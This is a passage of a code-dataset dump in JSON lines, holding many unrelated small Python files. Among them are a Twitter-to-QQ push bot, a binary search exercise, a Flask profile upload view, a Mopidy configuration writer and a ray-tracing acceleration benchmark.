Exception('未定义事件处理单元')\n #推特标识到中文\n def type_to_str(self, tweettype):\n if tweettype == 'retweet':\n return '转推' #纯转推\n elif tweettype == 'quoted':\n return '转推并评论' #推特内含引用推文(带评论转推)\n elif tweettype == 'reply_to_status':\n return '回复' #回复(推特下评论)\n elif tweettype == 'reply_to_user':\n return '提及' #提及(猜测就是艾特)\n else:\n return '发推' #未分类(估计是主动发推)\n #将推特数据应用到模版\n def tweetToStr(self, tweetinfo, nick, upimg=config.pushunit_default_config['upimg'], template_text=''):\n if nick == '':\n if tweetinfo['user']['name']:\n nick = tweetinfo['user']['name']\n else:\n nick = tweetinfo['user']['screen_name']\n #模版变量初始化\n template_value = {\n 'tweet_id':tweetinfo['id_str'], #推特ID\n 'tweet_id_min':encode_b64(tweetinfo['id']),#压缩推特id\n 'tweet_nick':nick, #操作人昵称\n 'tweet_user_id':tweetinfo['user']['screen_name'], #操作人ID\n 'tweet_text':tweetinfo['text'], #发送推特的完整内容\n 'related_user_id':'', #关联用户ID\n 'related_user_name':'', #关联用户昵称-昵称-昵称查询不到时为ID(被评论/被转发/被提及)\n 'related_tweet_id':'', #关联推特ID(被评论/被转发)\n 'related_tweet_id_min':'', #关联推特ID的压缩(被评论/被转发)\n 'related_tweet_text':'', #关联推特内容(被转发或被转发并评论时存在)\n }\n if tweetinfo['type'] != 'none':\n template_value['related_tweet_id'] = tweetinfo['Related_tweet']['id_str']\n template_value['related_tweet_id_min'] = encode_b64(tweetinfo['Related_tweet']['id'])\n template_value['related_tweet_text'] = tweetinfo['Related_tweet']['text']\n\n if tweetinfo['type'] != 'none':\n template_value['related_user_id'] = tweetinfo['Related_user']['screen_name']\n if tweetinfo['Related_user']['id'] in self.userinfolist:\n template_value['related_user_name'] = self.userinfolist[tweetinfo['Related_user']['id']]['name']\n else:\n if hasattr(tweetinfo['Related_user'],'name'):\n template_value['related_user_name'] = tweetinfo['Related_user']['name']\n else:\n template_value['related_user_name'] = tweetinfo['Related_user']['screen_name']\n\n #生成模版类\n s = \"\"\n t = None\n if template_text == '':\n #默认模版\n if tweetinfo['type'] == 'none':\n deftemplate_none = \"推特ID:$tweet_id_min,【$tweet_nick】发布了:\\n$tweet_text\"\n t = tweetToStrTemplate(deftemplate_none)\n elif tweetinfo['type'] == 'retweet':\n deftemplate_another = \"推特ID:$tweet_id_min,【$tweet_nick】转了【$related_user_name】的推特:\\n$tweet_text\"\n t = tweetToStrTemplate(deftemplate_another)\n elif tweetinfo['type'] == 'quoted':\n deftemplate_another = \"推特ID:$tweet_id_min,【$tweet_nick】转发并评论了【$related_user_name】的推特:\\n$tweet_text\\n====================\\n$related_tweet_text\"\n t = tweetToStrTemplate(deftemplate_another)\n else:\n deftemplate_another = \"推特ID:$tweet_id_min,【$tweet_nick】回复了【$related_user_name】:\\n$tweet_text\"\n t = tweetToStrTemplate(deftemplate_another)\n else:\n #自定义模版\n template_text = template_text.replace(\"\\\\n\",\"\\n\")\n t = tweetToStrTemplate(template_text)\n\n #转换为字符串\n s = t.safe_substitute(template_value)\n #组装图片\n if upimg == 1:\n s = s + \"\\n\"\n if 'extended_entities' in tweetinfo:\n for media_unit in tweetinfo['extended_entities']:\n #组装CQ码\n file_suffix = os.path.splitext(media_unit['media_url'])[1]\n s = s + '[CQ:image,timeout='+config.img_time_out+',file='+config.img_path+'tweet/' + media_unit['id_str'] + file_suffix + ']'\n return s\n #尝试从缓存中获取昵称\n def tryGetNick(self, tweet_user_id,nick):\n if tweet_user_id in self.userinfolist:\n return self.userinfolist[tweet_user_id]['name']\n return nick\n #尝试从缓存中获取用户信息,返回用户信息表\n def tryGetUserInfo(self, tweet_user_id) -> list:\n if tweet_user_id in self.userinfolist:\n return self.userinfolist[tweet_user_id]\n return {}\n #消息发送(消息类型,消息发送到,消息内容)\n def send_msg(self, message_type:str, send_id:int, message:str,bindCQID:int = config.default_bot_QQ):\n bot = nonebot.get_bot()\n try:\n if message_type == 'private':\n bot.sync.send_msg_rate_limited(self_id=bindCQID,user_id=send_id,message=message)\n elif message_type == 'group':\n bot.sync.send_msg_rate_limited(self_id=bindCQID,group_id=send_id,message=message)\n except:\n s = traceback.format_exc(limit=5)\n logger.error(s)\n pass\n #图片保存\n def seve_image(self, name, url, file_path='img',canCover=False):\n #保存图片到磁盘文件夹 cache/file_path中,默认为当前脚本运行目录下的 cache/img 文件夹\n base_path = 'cache' #基准路径\n try:\n if not os.path.exists(os.path.join(base_path,file_path)):\n logger.info('文件夹' + os.path.join(base_path,file_path) + '不存在,重新建立')\n #os.mkdir(file_path)\n os.makedirs(os.path.join(base_path,file_path))\n #获得图片后缀\n file_suffix = os.path.splitext(url)[1]\n #拼接图片名(包含路径)\n filename = os.path.join(base_path,file_path,name+file_suffix)\n #下载图片,并保存到文件夹中\n if os.path.isfile(filename):\n if canCover:\n os.remove(filename)\n else:\n return\n urllib.request.urlretrieve(url,filename=filename)\n except IOError:\n s = traceback.format_exc(limit=5)\n logger.error('文件操作失败'+s+\"\\n文件路径:\"+filename)\n except Exception:\n s = traceback.format_exc(limit=5)\n logger.error(s)\n#建立列表\npush_list = PushList()\n\n\n","sub_path":"module/twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":25259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"438968590","text":"# coding: utf-8\nfrom rest_framework import serializers\nfrom rest_framework.exceptions import ValidationError\n\n\nclass VerboseChoiceField(serializers.ChoiceField):\n def to_internal_value(self, data):\n if isinstance(data, dict):\n value = data['key']\n else:\n value = data\n if value not in dict(self.choices):\n raise ValidationError(self.error_messages.get('invalid_choice', '不在枚举范围内'))\n return value\n\n def to_representation(self, value):\n verbose = dict(self.choices).get(value)\n return {'key': value, 'verbose': verbose}","sub_path":"utils/serializer_fields.py","file_name":"serializer_fields.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"358018372","text":"disabled = 0\ntime_is_set = 0\ntime_raw = \"\"\ntime_lol = 0\ntime_lol_x100 = 0\ntime_lol_2 = 0\ntime_final = 0\nscren: grove.TM1637 = None\n\ndef on_button_pressed_a():\n timeanddate.advance_by(1, timeanddate.TimeUnit.MINUTES)\ninput.on_button_pressed(Button.A, on_button_pressed_a)\n\ndef on_button_pressed_b():\n global disabled\n disabled = 1\n basic.clear_screen()\n basic.pause(1000)\n disabled = 0\ninput.on_button_pressed(Button.B, on_button_pressed_b)\n\ndef on_forever():\n global time_is_set, time_raw, time_lol, time_lol_x100, time_lol_2, time_final, scren\n if disabled == 0:\n if time_is_set == 0:\n timeanddate.set_time(11, 59, 0, timeanddate.MornNight.PM)\n time_is_set = 1\n basic.pause(200)\n time_raw = timeanddate.time(timeanddate.TimeFormat.HHMM2_4HR)\n basic.pause(200)\n time_lol = parse_float(timeanddate.time(timeanddate.TimeFormat.HHMM2_4HR))\n time_lol_x100 = time_lol * 100\n if time_lol_2 == 0:\n time_lol = 12\n time_lol_2 = parse_float(time_raw.substr(3, 2))\n basic.pause(200)\n time_final = time_lol_x100 + time_lol_2\n basic.pause(1000)\n scren = grove.create_display(DigitalPin.P0, DigitalPin.P14)\n scren.point(True)\n scren.show(time_final)\n basic.show_string(\"\" + str((time_final)))\nbasic.forever(on_forever)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"232672577","text":"# Etem Kaya 15-Mar-2019\n\n# Solution to Problem-9.\n# File name: \"second.py\".\n\n# Problem-9: Write a program that reads in a text file and outputs every second line. \n# The program should take the filename from an argument on the command line.\n\n# first import sys library.\nimport sys\n\n# raise error if file doesn't exist or wrong filename supplied.\ntry:\n # count the number of arguments supplied via command-line\n if len(sys.argv) == 2: # sys.argv is a list contains commandline arguments.\n # open a text file in read only mode, which the filename _\n # is supplied from an argument on the command line.\n with open(sys.argv[1], 'r') as f:\n\n # assign the lines of the text file to a variable.\n s = f.readlines()\n\n # starting from line zero, loop through the every second line of_\n # the file (increment by 2) so lines 0, 2, 4, 6, etc.\n for i in range(0, len(s), 2):\n\n # print every second line of the file starting from line zero_\n # but ignore the empty lines e.g. 1, 3, 5, 7 etc.\n print(s[i], end='')\n # no need to close the file as it was opened in a 'with' statement.\n print (\"\\n \\nFile is now closed.\")\n # if sys function has less than or more than 2 elements. \n else:\n print (\"You should supply a single text file.\")\n sys.exit()\n# error detection on file errors e.g. file doesn't exist or wrong filename or_\n# file extension is not valid or corruption where file cant be read etc.\nexcept OSError:\n print(\"File error. Cann't open the file. Check the filename again.\")","sub_path":"second.py","file_name":"second.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"558392467","text":"from PeopleConnection import Connection\nimport datetime\n\n\ndef load(path, history, connector):\n with open(path, \"r\") as histories:\n for raw in histories:\n raw = raw.replace(\"\\n\", \"\")\n date, caller_phone_number, receiver_phone_number = raw.split(\",\")\n caller = [i for i in connector.user_list if i.phone_number == caller_phone_number][0]\n receiver = [i for i in connector.user_list if i.phone_number == receiver_phone_number][0]\n date = datetime.datetime.strptime(date, '%Y-%m-%d')\n history.connections = Connection.Connection(caller=caller, receiver=receiver, date=date)\n\n\ndef save(path, history):\n with open(path, \"a\") as histories:\n for connection in history.connections:\n caller = connection.caller.phone_number\n receiver = connection.receiver.phone_number\n date = str(connection.date).split(\" \")[0]\n histories.write(f\"{date},{caller},{receiver}\\n\")\n","sub_path":"FileIO/SaveLoadHistory.py","file_name":"SaveLoadHistory.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"230910971","text":"# Uses python3\nimport sys\n\ndef binary_search(a, x):\n left, right = 0, len(a)\n \n #since list is sorted\n if a[left] > x or a[right-1] < x:\n return -1\n \n \t\n while left < right:\n #print(f'left is {left}')\n mid = (left+right)//2\n #print(f'Mid is {mid}')\n tempVal=a[mid]\n #print(f'tempVal is {tempVal}')\n if tempVal==x:\n \t\treturn mid\n elif tempVal>x:\n \t\tright = mid\n else:\n \t\tleft= mid+1\n return -1\t\n\t\t\t\n\n\ndef linear_search(a, x):\n\tfor i in range(len(a)):\n\t\tif a[i] == x:\n\t\t\treturn i\n\treturn -1\n\nif __name__ == '__main__':\n\tinput = sys.stdin.read()\n\tdata = list(map(int, input.split()))\n\tn = data[0]\n\tm = data[n + 1]\n\ta = data[1 : n + 1]\n\tfor x in data[n + 2:]:\n\t\t# replace with the call to binary_search when implemented\n\t\tprint(binary_search(a, x), end = ' ')","sub_path":"Crs1Algos/Week4Solutions/BinSearch.py","file_name":"BinSearch.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"169534971","text":"from flask import Blueprint,render_template\nfrom myproject.models import Gamer\nfrom myproject import active_users\nfrom myproject.profile.forms import UploadForm\nfrom werkzeug.utils import secure_filename\nfrom myproject.models import Photo\n\nprofile_blueprint = Blueprint(\"profile\",__name__,template_folder=\"templates/profile\")\n\n@profile_blueprint.route(\"/profile/\",methods=[\"GET\",\"POST\"])\ndef profile_view(user_id):\n global active_users\n user = Gamer.query.get(user_id)\n active = False\n\n form = UploadForm()\n\n if user_id in active_users:\n active = True\n\n if form.validate_on_submit():\n filename = secure_filename(form.file.data.filename)\n form.file.data.save('static/uploads/'+filename)\n newPhoto = Photo('uploads/'+filename,user_id)\n print(\"photo added 11111111111111111111111111111111\")\n\n return render_template(\"profile.html\",user=user,active=active,form=form)","sub_path":"myproject/profile/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"500848368","text":"n=int(input())\r\na=[]\r\nq=0\r\nfor i in range(n):\r\n x=int(input())\r\n y=int(input())\r\n t=y.split( )\r\n sum=0\r\n t1=int(t[0])\r\n t2=int(t[-1])\r\n if (t1>t2):\r\n for m in range(x):\r\n for j in range(x):\r\n t[j]=t[j]*t[m]\r\n sum=sum+t[m]\r\n if t2>t1:\r\n for m1 in range(x-1,0,-1):\r\n for j1 in range(x-1,0,-1):\r\n t[j1]=t[j1]*t[m1]\r\n sum=sum+t[m1]\r\n a.append(sum)\r\nfor j in a:\r\n print(j,end=\"\\n\")\r\n \r\n","sub_path":"grharsh.py","file_name":"grharsh.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"617204401","text":"from string import Template\r\nclass MyTemplate(Template):\r\n delimiter='#'\r\ndef Main():\r\n cart=[]\r\n n=raw_input(\"Enter Your item:\")\r\n p=int(input(\"Enter Your Price:\"))\r\n q=int(input(\"Enter Your quantiuty:\"))\r\n cart.append(dict(item=n,price=p,quantity=q))\r\n \r\n t=MyTemplate(\"#quantity x #item=#price\")\r\n total=0\r\n print(\"cart:\")\r\n for data in cart:\r\n print(t.substitute(data))\r\n total +=data[\"price\"]\r\n print (\"Total:\"+str(total))\r\nif __name__==\"__main__\":\r\n Main()\r\n \r\n","sub_path":"templateProgramUsingClass.py","file_name":"templateProgramUsingClass.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"384003700","text":"# -*- coding: utf-8 -*-\n\nimport os\nfrom apscheduler.schedulers.blocking import BlockingScheduler\n\ndef job():\n os.system(\"scrapy crawl GetVidSpider\")\n\ndef cron_job():\n sched = BlockingScheduler()\n sched.add_job(job, 'cron', hour='12', minute='10', id='GetVidSpider')\n sched.start()\n\nif __name__ == '__main__':\n cron_job()","sub_path":"start_GetVidSpider.py","file_name":"start_GetVidSpider.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"291786111","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"This file contains tests for the Announcements_Table class\"\"\"\n\n\nimport os\nimport unittest\nimport logging\nfrom collections import Counter\nfrom .test_database import TestDatabase\nfrom ..logger import Logger\nfrom ..database import Announcements_Table\n\n__author__ = \"Justin Furuness\"\n__credits__ = [\"Justin Furuness\"]\n__Lisence__ = \"MIT\"\n__Version__ = \"0.1.0\"\n__maintainer__ = \"Justin Furuness\"\n__email__ = \"jfuruness@gmail.com\"\n__status__ = \"Development\"\n\n\nclass TestAnnouncements_Table(TestDatabase):\n \"\"\"Tests Announcements_table class, inherits tests from TestDatabase\"\"\"\n\n def setUp(self):\n \"\"\"Initializes db and connects\"\"\"\n\n # Up the logging level so we don't get useless info\n args = {\"stream_level\": logging.ERROR}\n self.db = Announcements_Table(self._initialize_logger(args=args))\n\n def test_init(self):\n \"\"\"tests connection\"\"\"\n\n pass\n\n def test_create_tables(self):\n \"\"\"Tests creation of tables\"\"\"\n\n self.db._create_tables()\n\n def test_columns(self):\n \"\"\"Makes sure columns are correct\"\"\"\n\n sql = \"\"\"select column_name from information_schema.columns where\n table_schema='public' and table_name='mrt_announcements';\n \"\"\"\n cols = self.db.execute(sql)\n print(cols)\n cols = cols[0]\n cols = [key for key in cols if 'id' not in key]\n cols = cols.sort()\n cols_2 = self.db.columns.sort()\n # self.db.logger.error(cols.sort())\n # self.db.logger.error(self.db.columns.sort())\n self.assertTrue(Counter(cols) == Counter(cols_2))\n","sub_path":"lib_clickbot/test/test_announcements_table.py","file_name":"test_announcements_table.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"583345327","text":"'''\n이름, 전화번호, 이메일, 주소를 받아서\n연락처 입력, 출력, 삭제\n'''\n\nclass Contacts:\n def __init__(self, name, phone, email, address):\n self.name = name\n self.phone = phone\n self.email = email\n self.address = address\n\n def print_info(self):\n print(f'이름: {self.name}')\n print(f'전화번호: {self.phone}')\n print(f'메일: {self.email}')\n print(f'주소: {self.address}')\n\n @staticmethod\n def set_contact():\n name = input(\"이름: \")\n phone = input(\"전화번호: \")\n email = input(\"메일: \")\n address = input(\"주소: \")\n return Contacts(name, phone, email, address)\n\n @staticmethod\n def get_contacts(ls):\n for i in ls:\n i.print_info()\n\n @staticmethod\n def del_contact(ls, name):\n for i, j in enumerate(ls): # enumerate: 인자 안에서 검색 = ls 안에서 j 검색. i = index\n if j.name == name:\n del ls[i]\n\n @staticmethod\n def print_menu():\n print(\"1. 연락처 입력\")\n print(\"2. 연락처 출력\")\n print(\"3. 연락처 삭제\")\n print(\"4. 종료\")\n menu = input(\"메뉴선택 : \")\n return int(menu)\n\n @staticmethod\n def main():\n ls = []\n while 1:\n menu = Contacts.print_menu()\n if menu == 1:\n t = Contacts.set_contact()\n ls.append(t)\n elif menu == 2:\n Contacts.get_contacts(ls)\n elif menu == 3:\n name = input(\"삭제할 이름: \")\n Contacts.del_contact(ls, name)\n elif menu == 4:\n break\n\n\nif __name__ == '__main__':\n Contacts.main()","sub_path":"step1_oop/contacts.py","file_name":"contacts.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"260649609","text":"import pandas\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\nfrom time import time, ctime, localtime\nfrom datetime import datetime\n\n\n# kalibr_bagextractor --bag ./zeiss_data.bag --image-topics /mynteye/left/image_raw --imu-topics /mynteye/imu/data_raw --output-folder ./test_output_zeiss/\n\ndata_imu = pandas.read_csv(\"./test_output_zeiss/imu0.csv\")\ntimestamps_imu = data_imu[\"timestamp\"].tolist()\ntimestamps_imu_format = []\nfor tps in timestamps_imu:\n temp = str(tps)[:10]\n temp2 = str(tps)[10:]\n timestamps_imu_format.append(np.double(temp+\".\"+temp2))\ntimestamps_imu_format.sort()\n\nlist_img = os.listdir(\"./test_output_zeiss/cam0/\")\ntimestamps_img_format = []\nfor name in list_img:\n name_time = name.split(\".\")[0]\n temp = name_time[:10]\n temp2 = name_time[10:]\n timestamps_img_format.append(np.double(temp+\".\"+temp2))\ntimestamps_img_format.sort()\n\n\n# imu time diff\nimu_time_diff = [0]\nfor i in range(len(timestamps_imu_format)-1):\n time_left = timestamps_imu_format[i]\n time_right = timestamps_imu_format[i+1]\n time_diff = (time_right-time_left)*1000\n imu_time_diff.append(time_diff)\n\n# image time diff\nimg_time_diff = [0]\nfor i in range(len(timestamps_img_format)-1):\n time_left = timestamps_img_format[i]\n time_right = timestamps_img_format[i+1]\n time_diff = (time_right-time_left)*1000\n img_time_diff.append(time_diff)\n\nprint(len(imu_time_diff))\nprint(len(img_time_diff))\n\nnum = 400\nplt.subplot(211)\nplt.plot(timestamps_img_format[1:num],\n img_time_diff[1:num])\nplt.title(\"Image data captured by MYNTEYE (30Hz)\")\nplt.xlabel(\"Image timestamps (unix time)\")\nplt.ylabel(\"time diff (ms)\")\n\nplt.subplot(212)\nplt.plot(timestamps_imu_format[1:num],\n imu_time_diff[1:num])\nplt.title(\"IMU data captured by MYNTEYE (200Hz)\")\nplt.xlabel(\"IMU timestamps (unix time)\")\nplt.ylabel(\"time diff (ms)\")\n# plt.show()\n\nplt.show()\n\n","sub_path":"utility_python/check_time_diff_IMUandCamera.py","file_name":"check_time_diff_IMUandCamera.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"346371507","text":"from skimage import data, io, filters\nfrom matplotlib import pyplot as plt\nfrom sklearn import manifold, datasets\nfrom skimage.transform import rescale, resize, downscale_local_mean\n\ndef toBinary(path):\n image= io.imread('C:/Users/Malikoto/unet-master/data/Dataset/train/label/'+path,as_grey=True)\n print('b4',len(image[0]), len(image))\n \n for i in range(0,len(image)):\n for j in range(0,len(image[0])):\n if image[i][j] == 0:\n image[i][j] = 255\n elif image[i][j] == 128:\n image[i][j] = 0\n elif image[i][j] == 255:\n image[i][j] = 255\n \n image = resize(image, (100,100))\n print('after',len(image[0]), len(image))\n \n return image\n\nN=210 #number of images\n\nfor i in range (1,N+1):\n if i < 10 :\n path = '00'+str(i)+'.png'\n elif i < 100:\n path = '0'+str(i)+'.png'\n elif i >= 100:\n path = str(i)+'.png'\n print(path)\n \n binary = toBinary(path)\n \n# plt.gray()\n# plt.imshow(binary)\n# plt.show()\n# print(binary.shape)\n path=str(i)+'.png'\n \n io.imsave('C:/Users/Malikoto/unet-master/data/Dataset/train/tif label/'+path,binary)\n","sub_path":"convert2Binary.py","file_name":"convert2Binary.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"374007489","text":"from bs4 import BeautifulSoup\nimport commons.source_urls\nimport logging\nimport datetime\nimport requests\n\nclass PatagoniaQuotation():\n\n def __set_url(self):\n self.url = commons.source_urls.Patagonia\n\n def __parsing(self, soup):\n currencyBox = soup.find(\"div\", {\"id\": \"principal\"})\n cells = soup.findAll('tbody')[0].findAll('tr')[0].findAll('td')\n self.buying = float(cells[1].string.replace(',', '.')[2:])\n self.selling = float(cells[2].string.replace(',', '.')[2:])\n\n def log(self):\n logging.info('Cotizacion Patagonia')\n logging.info('Compra: ' + str(self.buying))\n logging.info('Venta: ' + str(self.selling))\n\n def __init__(self):\n self.timestamp = datetime.datetime.now()\n try:\n self.__set_url()\n self.__parsing(BeautifulSoup(requests.get(self.url).text, \"html.parser\"))\n except:\n self.buying = None\n self.selling = None\n","sub_path":"models/patagonia_quotation.py","file_name":"patagonia_quotation.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"424242227","text":"try:\n import configparser\nexcept:\n import ConfigParser as configparser\n\nconfig_file = \"/etc/mopidy/mopidy.conf\"\nconfig = configparser.ConfigParser()\nconfig.read(config_file)\ndef core_defaults():\n config['core']['cache_dir'] = '/var/cache/mopidy'\n config['core']['config_dir'] = '/etc/mopidy'\n config['core']['data_dir'] = '/var/lib/mopidy'\n\ndef logging_defaults():\n config['logging']['config_file'] = '/etc/mopidy/logging.conf'\n config['logging']['debug_file'] = '/var/log/mopidy/mopidy-debug.log'\n\ndef local_defaults():\n config['local']['enabled'] = 'True'\n config['local']['media_dir'] = '/Music \\n /usbdrives'\n config['local']['library'] = 'sqlite'\n config['local']['scan_timeout'] = '1000'\n config['local']['scan_flush_threshold'] = '100'\n config['local']['scan_follow_symlinks'] = 'true'\n config['local']['excluded_file_extensions'] = '\\n .directory\\n .html\\n .jpeg\\n .jpg\\n .log\\n .nfo\\n .png\\n .txt\\n .db\\n .ini'\n\ndef file_defaults():\n config['file']['enabled'] = 'True'\n config['file']['media_dirs'] = '/Music \\n /usbdrives'\n config['file']['excluded_file_extensions'] = '\\n .directory\\n .html\\n .jpeg\\n .jpg\\n .log\\n .nfo\\n .png\\n .txt\\n .db\\n .ini'\n config['file']['show_dotfiles'] = 'false'\n config['file']['follow_symlinks'] = 'false'\n config['file']['metadata_timeout'] = '1000'\n\ndef m3u_defaults():\n config['m3u']['playlists_dir'] = '/var/lib/mopidy/playlists'\n\ndef http_defaults():\n config['http']['enabled'] = 'True'\n config['http']['hostname'] = '::'\n config['http']['port'] = '8888'\n config['http']['static_dir'] = \"\"\n config['http']['zeroconf'] = 'Mopidy HTTP server on $hostname'\n\ndef mpd_defaults():\n config['mpd']['enabled'] = 'True'\n config['mpd']['hostname'] = '::'\n config['mpd']['port'] = '6600'\n config['mpd']['password'] = ''\n config['mpd']['max_connections'] = '20'\n config['mpd']['connection_timeout'] = '60'\n config['mpd']['zeroconf'] = 'Mopidy MPD server on $hostname'\n config['mpd']['command_blacklist'] = ' listall\\n listallinfo'\n config['mpd']['default_playlist_scheme'] = 'm3u'\n\ndef websettings_defaults():\n config['websettings']['enabled'] = 'True'\n config['websettings']['musicbox'] = 'True'\n config['websettings']['config_file'] = '/etc/mopidy/mopidy.conf'\n\ndef spotify_defaults(spotify_user = '', spotify_client_id = '', spotify_client_secret = '', spotify_password = ''):\n config['spotify']['enabled'] = 'True'\n config['spotify']['username'] = spotify_user\n config['spotify']['client_id'] = spotify_client_id\n config['spotify']['client_secret'] = spotify_client_secret\n config['spotify']['password'] = spotify_password\n config['spotify']['bitrate'] = '320'\n\ndef spotify_web_defaults(spotify_user = '', spotify_client_id = '', spotify_client_secret = '', spotify_password = ''):\n config['spotify_web']['enabled'] = 'True'\n config['spotify_web']['username'] = spotify_user\n config['spotify_web']['client_id'] = spotify_client_id\n config['spotify_web']['client_secret'] = spotify_client_secret\n config['spotify_web']['password'] = spotify_password\n config['spotify_web']['bitrate'] = '320'\n\ndef audio_defaults():\n config['audio']['mixer_volume'] = '100'\n config['audio']['mixer'] = 'software'\n# config['audio']['output'] = 'alsasink device=hw:1,0'\n config['audio']['output'] = 'alsasink device=default'\n\nif not config.has_section('core'):\n config.add_section('core')\n\nif not config.has_section('logging'):\n config.add_section('logging')\n\nif not config.has_section('local'):\n config.add_section('local')\n\nif not config.has_section('file'):\n config.add_section('file')\n\nif not config.has_section('m3u'):\n config.add_section('m3u')\n\nif not config.has_section('http'):\n config.add_section('http')\n\nif not config.has_section('mpd'):\n config.add_section('mpd')\n\nif not config.has_section('websettings'):\n config.add_section('websettings')\n\nif not config.has_section('spotify'):\n config.add_section('spotify')\n\nif not config.has_section('spotify_web'):\n config.add_section('spotify_web')\n\nif not config.has_section('audio'):\n config.add_section('audio')\n\ncore_defaults()\nlogging_defaults()\nlocal_defaults()\nfile_defaults()\nm3u_defaults()\nhttp_defaults()\nmpd_defaults()\nwebsettings_defaults()\nspotify_defaults()\nspotify_web_defaults()\naudio_defaults()\nwith open(config_file, 'wb') as configfile:\n config.write(configfile)\n","sub_path":"defaultConfigMopidy.py","file_name":"defaultConfigMopidy.py","file_ext":"py","file_size_in_byte":4472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"471097717","text":"# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py:light\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.4'\n# jupytext_version: 1.1.1\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# ## Performance testing of acceleration structures\n#\n# This test checks performance of acceleration structure implemented in the framework for various scenes.\n\nimport os\nimport imageio\nimport pandas as pd\nimport numpy as np\nimport timeit\n# %matplotlib inline\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nimport lmfunctest as ft\nimport lmscene\nimport lightmetrica as lm\n\n# %load_ext lightmetrica_jupyter\n\nlm.init('user::default', {})\nlm.parallel.init('parallel::openmp', {\n 'numThreads': -1\n})\nlm.log.init('logger::jupyter', {})\nlm.info()\n\nlm.comp.loadPlugin(os.path.join(ft.env.bin_path, 'accel_nanort'))\nlm.comp.loadPlugin(os.path.join(ft.env.bin_path, 'accel_embree'))\n\naccels = [\n 'accel::sahbvh',\n 'accel::nanort',\n 'accel::embree',\n 'accel::embreeinstanced'\n]\nscenes = lmscene.scenes_small()\n\nbuild_time_df = pd.DataFrame(columns=accels, index=scenes)\nrender_time_df = pd.DataFrame(columns=accels, index=scenes)\nfor scene in scenes:\n lm.reset()\n lmscene.load(ft.env.scene_path, scene)\n for accel in accels:\n lm.asset('film_output', 'film::bitmap', {\n 'w': 1920,\n 'h': 1080\n })\n \n def build():\n lm.build(accel, {})\n build_time = timeit.timeit(stmt=build, number=1)\n build_time_df[accel][scene] = build_time\n\n def render():\n lm.render('renderer::raycast', {\n 'output': lm.asset('film_output')\n })\n render_time = timeit.timeit(stmt=render, number=1)\n render_time_df[accel][scene] = render_time\n\nbuild_time_df\n\nrender_time_df\n","sub_path":"functest/perf_accel.py","file_name":"perf_accel.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"457135961","text":"import pandas as pd\nfrom pandarallel.utils.tools import chunk\n\n\nclass SeriesRolling:\n @staticmethod\n def reduce(results, _):\n return pd.concat(results, copy=False)\n\n @staticmethod\n def get_chunks(nb_workers, rolling, *args, **kwargs):\n chunks = chunk(rolling.obj.size, nb_workers, rolling.window)\n\n for chunk_ in chunks:\n yield rolling.obj[chunk_]\n\n @staticmethod\n def att2value(rolling):\n return {\n attribute: getattr(rolling, attribute) for attribute in rolling._attributes\n }\n\n @staticmethod\n def worker(\n series, index, attribue2value, _progress_bar, _queue, func, *args, **kwargs\n ):\n result = series.rolling(**attribue2value).apply(func, *args, **kwargs)\n\n return result if index == 0 else result[attribue2value[\"window\"] :]\n","sub_path":"pandarallel/data_types/series_rolling.py","file_name":"series_rolling.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"138383240","text":"import numpy as np\nfrom PIL import Image\nimport torchvision.transforms as TTF\nimport random\nimport os\n\ndef randomCrop(imgs, size):\n if type(size) == int:\n size = (size, size)\n w, h = imgs[0].size\n ws, hs = random.randint(0, w - size[0]), random.randint(0, h - size[1])\n wt, ht = ws + size[0], hs + size[1]\n return [img.crop((ws, hs, wt, ht)) for img in imgs]\n\n\nimg2tensor = TTF.ToTensor()\ntrain_data_augmentation = TTF.Compose([\n TTF.Lambda(lambda imgs: imgs if random.random() > 0.5 else [img.transpose(Image.FLIP_LEFT_RIGHT) for img in 